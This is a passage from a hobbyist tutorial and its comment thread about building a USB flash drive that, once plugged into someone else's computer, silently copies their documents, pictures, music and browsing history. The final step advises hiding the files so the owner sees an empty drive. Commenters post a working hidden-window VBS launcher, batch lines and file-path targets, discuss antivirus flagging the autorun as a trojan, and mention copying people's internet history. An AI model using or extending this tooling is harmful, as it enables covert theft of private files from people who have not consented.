How to make flash drive that copy's users files silently and automatically

Step 7 Put all files in root of drive and try out

Now if you have not put all the files in the root of the flash drive it's time to do that now. One thing you can do is make all the files hidden, so for if some reason they look into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.

I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking

Comments

[nazirahmad]

hi: i did the steps but its not working ? some one help me!

[Jacob Horton]

Hey, I'm just wondering, what are you using, vista, mac, or windows

[arabha]

Windows7

[Super_Nerd]

Dude, Vista is Windows.

[fwjs28]

serisouly get your OS's straight....

[gotmountains]

Well, Vista is a version of Windows. It looks to me, from his screenshots, that he is using Vista or 7. DEFINITELY not Mac, as is obvious from the .vbs file, the .exe files, the .bat file, and the .inf file. Macs don't use those kinds of files. Also, the buttons on the windows are on the left on Macs, on the right on Windows. In his screenshots, they're on the right, therefore it's Windows.

[sbencherif]

Thats logical

[Super_Nerd]

For a vbs scripter and batch maker like me getting a mac is out of the question for what you just said.

[erikals]

you can get a program called leftsider to swap the buttons around

[MediocreNinja]

Yes, but I don't think a soldier in Iraq would really care

[animan1]

VISTA

[Mistersalt]

Hey,
Thanks! This sounds great! I can't wait to try this out. But on the down side, I'll need to buy a usb.I already have one, but i like to use that for general purposes, not pranking stuff.

Thanks again, this is such a unique idea!

[avibank911]

Hey Im so excited to use this! me and my mates were gonna spend days trynna figure out how to do this!! thanks a ton!

Do you think you could make the thumb drive pull a folder that you know only part of its name by adding a wild card ? strictly for example:

%backupcmd% "%USERPROFILE%\music" "%drive%\all\*SATS*

[Lord Maul]

How can i root the files?And how did you do the icon?

[MediocreNinja]

No, you just copy all the files (.bat, .inf., .vbs etc) and copy them to the root of your stick, (example "G://")

[sanlinhtet]

Hello Sir.
I cann't do it to be automatically taken action without click on it. I followed your instruction. Any  suggestion for ,sir.

[area36]

WWWOOOOO GO ARMY!!!!!

[geeknik]

ESET's NOD32 deletes my autorun.inf everytime I plugin the Flash Drive and calls it an autorun trojan. LOL.

[Kryptonite]

Well it is NOD32's quite good, but you can select certain things for it to leave I believe.

[mitchell931993]

doesn't really help if its someone else's computer your trying to get them off. because a smart person would put a password on there anti-virus, i know i do

[Kryptonite]

NOt every one's got NOD32 though.

[mitchell931993]

 oh no i dont have NOD32. password protection is becoming standard.

[trunkmonkey4345]

great instructable it works extremely well. i noticed one problem when i tested it out when i copied the files i noticed that not all of the files were not copied to the drive is it due to the drives capacity because i was on a 1gb drive also the cmd still showed up but it disguised the process. please help me with my problem any way it works really well and i look forward to you next instructable.

[LS2999]

I added a /q to mine. That just shows end how many files are copied. I also use something called hide script when needed.

[brown kid 23]

Ok i tried making this work by using your instructions, but i had a problem with invisible.vbs so i re-wrote it to this:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "\all\copy.bat" & Chr(34), 0
Set WshShell = Nothing

then i saved it as invisible2.vbs

of course i had to change the launch.bat to:

@echo off
wscript.exe "\all\invisible2.vbs" & "copy.bat

The file.bat file worked perfectly, otherwise this is a very useful tool for system admins

[musicninja17]

Very well done Instructable, and Thank You For Serving :)......

[musicninja17]

i set mine to copy the internet history so i can see where peolpe have been XD

[Kryptonite]

Wow how did you do that?

[Goldbaas]

Tried doing this, but it doesnt work automatically. Only when i click on "file" does everything start to work, however cmd window comes up! Any suggestions?

[Kasaron]

did you properly set up the autorun.bat? also make sure that the system is not set up to go against autoplay.

[Goldbaas]

yeah i did, completely copy and pasted it into notepad. Go against autoplay? At the moment, (im on vista) i just click "continue without scanning" and then "open in windows explorer" when the usb stick is plugged in. I havnt changed any of my vista setting so i assume that autoplay is the default settings!

[Kasaron]

hmn...wierd. I was able to get it to run on vista just fine; except fro the fact that the cod (being primitive) didn't actually steal anything. it did run, though.

[zakir_yo]

would this work for only 1 computer???do i have to paste a new copy of all six files wen i try it in a different computer

[bigdaddyclint]

no it should work on any computer the code is standard on any computer and SHOULD work for many computer.

[ghostrider2]

seems you have an excellent instructable, sergeant.

[entity0731]

Very Nice Tutorial. Thanks

[duck_tape_]

It didn't do anything for me. I couldn't get it started. I can't figure out what happened.

[entity0731]

Try replacing %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics" With %backupcmd% "%USERPROFILE%\My Documents\My Pictures" "%drive%\all\My pics" Note: the addition of \My Documents\My Pictures. Etc. for the Favorites, Videos and Music.

[GuardianEric]

Great tutorial. I could use some capital letters and punctuation, but it was great and I liked how you explained the code.

[ProjectZro]

how will this handle replacing files like "hi.exe already exists would you like to replace it with the newer file?" and is there a way to write one that wont ask for an action?